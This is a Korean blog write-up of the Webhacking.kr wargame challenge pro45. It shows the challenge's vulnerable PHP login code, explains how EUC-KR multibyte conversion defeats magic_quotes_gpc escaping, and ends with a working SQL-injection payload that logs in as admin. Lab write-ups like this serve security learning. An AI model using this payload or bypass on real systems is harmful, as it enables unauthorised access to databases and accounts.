kangsecu's B1og

[Webhacking.kr] pro45 문제풀이 본문

Web Hacking/webhakcing.kr

[Webhacking.kr] pro45 문제풀이

Kangsecu 2018. 2. 1. 10:27

문제에 들어가면 아래와 같은 로그인 화면이 출력됩니다.

이제 url에 index.phps를 추가하여서 문제의 코드를 확인합니다. 이제 코드를 확인해 보도록 하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?
 
$pw="?????";
 
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
 
$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
 
if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();
 
 
if($data)
{
echo("hi $data[0]<br><br>");
 
if($data[0]=="admin") @solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>
cs

이렇게 코드가 있습니다. 취약점을 살펴보니 잘 모르겠는데, $_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr'); 이라는 코드에서 id와pw의 값을 모두 mb_convert_encoding()를 이용해서 인코딩 하는데, 이는 멀티바이트는 \앞에 %a1 ~ %fe의 값이 들어오면magic_quotes_gpc를 우회 할 수있습니다. 그리고 결정적으로 id라는 변수에 값이 admin이면 해결이 됩니다. 그래서 char(97,100,109,105,110)을 이용하여 admin을 대입 하였습니다. php의 mb_convert_encoding함수의 내용은 http://php.net/manual/en/function.mb-convert-encoding.php 에 자세하게 나와있습니다. 

Injection Vector 

mb_convert_encoding함수의 취약점을 이용하여 magic_quotes_gpc 우회를 하고 char을 이용하여 ascii값들을 대입해서 admin이라는 값을 인젝션 합니다.

Exploit

?id=%A1%27||id=char(97,100,109,105,110) 를 입력하고 뒤에를 주석처리 하기 위하여 %23을 입력해주면 문제가 해결됩니다.

즉 ?id=%A1%27||id=char(97,100,109,105,110)%23 입니다.